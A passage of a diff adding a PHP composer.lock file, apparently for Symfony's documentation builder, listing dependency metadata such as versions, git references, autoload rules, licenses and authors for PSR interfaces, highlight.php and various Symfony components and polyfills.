+                "vimeo/psalm": "^1"
+            },
+            "suggest": {
+                "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes."
+            },
+            "type": "library",
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Paragon Initiative Enterprises",
+                    "email": "security@paragonie.com",
+                    "homepage": "https://paragonie.com"
+                }
+            ],
+            "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7",
+            "keywords": [
+                "csprng",
+                "polyfill",
+                "pseudorandom",
+                "random"
+            ],
+            "support": {
+                "email": "info@paragonie.com",
+                "issues": "https://github.com/paragonie/random_compat/issues",
+                "source": "https://github.com/paragonie/random_compat"
+            },
+            "time": "2020-10-15T08:29:30+00:00"
+        },
+        {
+            "name": "psr/container",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/php-fig/container.git",
+                "reference": "381524e8568e07f31d504a945b88556548c8c42e"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/381524e8568e07f31d504a945b88556548c8c42e",
+                "reference": "381524e8568e07f31d504a945b88556548c8c42e",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.1.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Psr\\Container\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "PHP-FIG",
+                    "homepage": "https://www.php-fig.org/"
+                }
+            ],
+            "description": "Common Container Interface (PHP FIG PSR-11)",
+            "homepage": "https://github.com/php-fig/container",
+            "keywords": [
+                "PSR-11",
+                "container",
+                "container-interface",
+                "container-interop",
+                "psr"
+            ],
+            "support": {
+                "issues": "https://github.com/php-fig/container/issues",
+                "source": "https://github.com/php-fig/container/tree/master"
+            },
+            "time": "2020-10-13T07:07:53+00:00"
+        },
+        {
+            "name": "psr/http-message",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/php-fig/http-message.git",
+                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/php-fig/http-message/zipball/efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
+                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.0.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Psr\\Http\\Message\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "PHP-FIG",
+                    "homepage": "http://www.php-fig.org/"
+                }
+            ],
+            "description": "Common interface for HTTP messages",
+            "homepage": "https://github.com/php-fig/http-message",
+            "keywords": [
+                "http",
+                "http-message",
+                "psr",
+                "psr-7",
+                "request",
+                "response"
+            ],
+            "support": {
+                "source": "https://github.com/php-fig/http-message/tree/master"
+            },
+            "time": "2019-08-29T13:16:46+00:00"
+        },
+        {
+            "name": "psr/log",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/php-fig/log.git",
+                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/dd738d0b4491f32725492cf345f6b501f5922fec",
+                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.1.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Psr\\Log\\": "Psr/Log/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "PHP-FIG",
+                    "homepage": "https://www.php-fig.org/"
+                }
+            ],
+            "description": "Common interface for logging libraries",
+            "homepage": "https://github.com/php-fig/log",
+            "keywords": [
+                "log",
+                "psr",
+                "psr-3"
+            ],
+            "support": {
+                "source": "https://github.com/php-fig/log/tree/master"
+            },
+            "time": "2020-09-18T06:44:51+00:00"
+        },
+        {
+            "name": "ralouphie/getallheaders",
+            "version": "3.0.3",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/ralouphie/getallheaders.git",
+                "reference": "120b605dfeb996808c31b6477290a714d356e822"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
+                "reference": "120b605dfeb996808c31b6477290a714d356e822",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.6"
+            },
+            "require-dev": {
+                "php-coveralls/php-coveralls": "^2.1",
+                "phpunit/phpunit": "^5 || ^6.5"
+            },
+            "type": "library",
+            "autoload": {
+                "files": [
+                    "src/getallheaders.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Ralph Khattar",
+                    "email": "ralph.khattar@gmail.com"
+                }
+            ],
+            "description": "A polyfill for getallheaders.",
+            "support": {
+                "issues": "https://github.com/ralouphie/getallheaders/issues",
+                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
+            },
+            "time": "2019-03-08T08:55:37+00:00"
+        },
+        {
+            "name": "scrivo/highlight.php",
+            "version": "9.18.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/scrivo/highlight.php.git",
+                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/006e334dbf8e0a30573174e2cb6e11682b224f15",
+                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15",
+                "shasum": ""
+            },
+            "require": {
+                "ext-json": "*",
+                "ext-mbstring": "*",
+                "php": ">=5.4"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "^4.8|^5.7",
+                "sabberworm/php-css-parser": "^8.3",
+                "symfony/finder": "^2.8|^3.4",
+                "symfony/var-dumper": "^2.8|^3.4"
+            },
+            "suggest": {
+                "ext-dom": "Needed to make use of the features in the utilities namespace"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-0": {
+                    "Highlight\\": "",
+                    "HighlightUtilities\\": ""
+                },
+                "files": [
+                    "HighlightUtilities/functions.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "BSD-3-Clause"
+            ],
+            "authors": [
+                {
+                    "name": "Geert Bergman",
+                    "homepage": "http://www.scrivo.org/",
+                    "role": "Project Author"
+                },
+                {
+                    "name": "Vladimir Jimenez",
+                    "homepage": "https://allejo.io",
+                    "role": "Maintainer"
+                },
+                {
+                    "name": "Martin Folkers",
+                    "homepage": "https://twobrain.io",
+                    "role": "Contributor"
+                }
+            ],
+            "description": "Server side syntax highlighter that supports 185 languages. It's a PHP port of highlight.js",
+            "keywords": [
+                "code",
+                "highlight",
+                "highlight.js",
+                "highlight.php",
+                "syntax"
+            ],
+            "support": {
+                "issues": "https://github.com/scrivo/highlight.php/issues",
+                "source": "https://github.com/scrivo/highlight.php"
+            },
+            "funding": [
+                {
+                    "url": "https://github.com/allejo",
+                    "type": "github"
+                }
+            ],
+            "time": "2020-10-17T21:12:39+00:00"
+        },
+        {
+            "name": "symfony/console",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/console.git",
+                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/console/zipball/a30dd52eb2129e90e2e15bf107f91eab2219b52c",
+                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php73": "^1.8",
+                "symfony/polyfill-php80": "^1.15",
+                "symfony/service-contracts": "^1.1|^2"
+            },
+            "conflict": {
+                "symfony/dependency-injection": "<3.4",
+                "symfony/event-dispatcher": "<4.3|>=5",
+                "symfony/lock": "<4.4",
+                "symfony/process": "<3.3"
+            },
+            "provide": {
+                "psr/log-implementation": "1.0"
+            },
+            "require-dev": {
+                "psr/log": "~1.0",
+                "symfony/config": "^3.4|^4.0|^5.0",
+                "symfony/dependency-injection": "^3.4|^4.0|^5.0",
+                "symfony/event-dispatcher": "^4.3",
+                "symfony/lock": "^4.4|^5.0",
+                "symfony/process": "^3.4|^4.0|^5.0",
+                "symfony/var-dumper": "^4.3|^5.0"
+            },
+            "suggest": {
+                "psr/log": "For using the console logger",
+                "symfony/event-dispatcher": "",
+                "symfony/lock": "",
+                "symfony/process": ""
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Console\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Console Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/console/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/css-selector",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/css-selector.git",
+                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
+                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\CssSelector\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Jean-François Simon",
+                    "email": "jeanfrancois.simon@sensiolabs.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony CssSelector Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/css-selector/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/docs-builder",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/weaverryan/docs-builder",
+                "reference": "5def2fef2e7c8acade040d74d55b9b96fb8ed262"
+            },
+            "require": {
+                "doctrine/rst-parser": "dev-master",
+                "ext-curl": "*",
+                "ext-json": "*",
+                "guzzlehttp/guzzle": "~6.0",
+                "scrivo/highlight.php": "^9.12.0",
+                "symfony/console": "^4.1",
+                "symfony/css-selector": "^4.1",
+                "symfony/dom-crawler": "^4.1",
+                "symfony/filesystem": "^4.1",
+                "symfony/finder": "^4.1",
+                "symfony/http-client": "^4.3",
+                "twig/twig": "^2.7.3"
+            },
+            "require-dev": {
+                "gajus/dindent": "^2.0",
+                "symfony/phpunit-bridge": "^4.1",
+                "symfony/process": "^4.2"
+            },
+            "default-branch": true,
+            "type": "project",
+            "autoload": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\": "src"
+                }
+            },
+            "license": [
+                "MIT"
+            ],
+            "description": "The build system for Symfony's documentation",
+            "time": "2020-10-23T00:22:44+00:00"
+        },
+        {
+            "name": "symfony/dom-crawler",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/dom-crawler.git",
+                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e6f7848438ec672ce9230f774d5272ec02e47dc",
+                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-mbstring": "~1.0"
+            },
+            "conflict": {
+                "masterminds/html5": "<2.6"
+            },
+            "require-dev": {
+                "masterminds/html5": "^2.6",
+                "symfony/css-selector": "^3.4|^4.0|^5.0"
+            },
+            "suggest": {
+                "symfony/css-selector": ""
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\DomCrawler\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony DomCrawler Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/dom-crawler/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/filesystem",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/filesystem.git",
+                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/0921fda04596119d1bcbe6a17cf9989fadd71095",
+                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "symfony/polyfill-ctype": "~1.8"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Filesystem\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Filesystem Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/filesystem/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-21T04:38:54+00:00"
+        },
+        {
+            "name": "symfony/finder",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/finder.git",
+                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
+                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Finder\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Finder Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/finder/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/http-client",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/http-client.git",
+                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/64db2909fb9311545a118bc46ed620d110cd2e25",
+                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "psr/log": "^1.0",
+                "symfony/http-client-contracts": "^1.1.10|^2",
+                "symfony/polyfill-php73": "^1.11",
+                "symfony/service-contracts": "^1.0|^2"
+            },
+            "provide": {
+                "php-http/async-client-implementation": "*",
+                "php-http/client-implementation": "*",
+                "psr/http-client-implementation": "1.0",
+                "symfony/http-client-implementation": "1.1"
+            },
+            "require-dev": {
+                "guzzlehttp/promises": "^1.3.1",
+                "nyholm/psr7": "^1.0",
+                "php-http/httplug": "^1.0|^2.0",
+                "psr/http-client": "^1.0",
+                "symfony/dependency-injection": "^4.3|^5.0",
+                "symfony/http-kernel": "^4.4.13",
+                "symfony/process": "^4.2|^5.0"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\HttpClient\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony HttpClient component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/http-client/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-20T13:38:40+00:00"
+        },
+        {
+            "name": "symfony/http-client-contracts",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/http-client-contracts.git",
+                "reference": "41db680a15018f9c1d4b23516059633ce280ca33"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41db680a15018f9c1d4b23516059633ce280ca33",
+                "reference": "41db680a15018f9c1d4b23516059633ce280ca33",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5"
+            },
+            "suggest": {
+                "symfony/http-client-implementation": ""
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-version": "2.3",
+                "branch-alias": {
+                    "dev-main": "2.3-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Contracts\\HttpClient\\": ""
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Generic abstractions related to HTTP clients",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.3.1"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-14T17:08:19+00:00"
+        },
+        {
+            "name": "symfony/polyfill-ctype",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-ctype.git",
+                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b",
+                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "suggest": {
+                "ext-ctype": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Ctype\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Gert de Pagter",
+                    "email": "BackEndTea@gmail.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for ctype functions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "ctype",
+                "polyfill",
+                "portable"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-intl-idn",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-intl-idn.git",
+                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/fd17ae0603e76ae99d041f567e8611a97d899b03",
+                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3",
+                "symfony/polyfill-intl-normalizer": "^1.10",
+                "symfony/polyfill-php70": "^1.10",
+                "symfony/polyfill-php72": "^1.10"
+            },
+            "suggest": {
+                "ext-intl": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Idn\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Laurent Bassin",
+                    "email": "laurent@bassin.info"
+                },
+                {
+                    "name": "Trevor Rowbotham",
+                    "email": "trevor.rowbotham@pm.me"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "idn",
+                "intl",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/main"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:34:17+00:00"
+        },
+        {
+            "name": "symfony/polyfill-intl-normalizer",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
+                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8db0ae7936b42feb370840cf24de1a144fb0ef27",
+                "reference": "8db0ae7936b42feb370840cf24de1a144fb0ef27",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "suggest": {
+                "ext-intl": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Normalizer\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for intl's Normalizer class and related functions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "intl",
+                "normalizer",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-mbstring",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-mbstring.git",
+                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce",
+                "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "suggest": {
+                "ext-mbstring": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Mbstring\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for the Mbstring extension",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "mbstring",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.19.0"
+            },
+            "funding": [
+                {
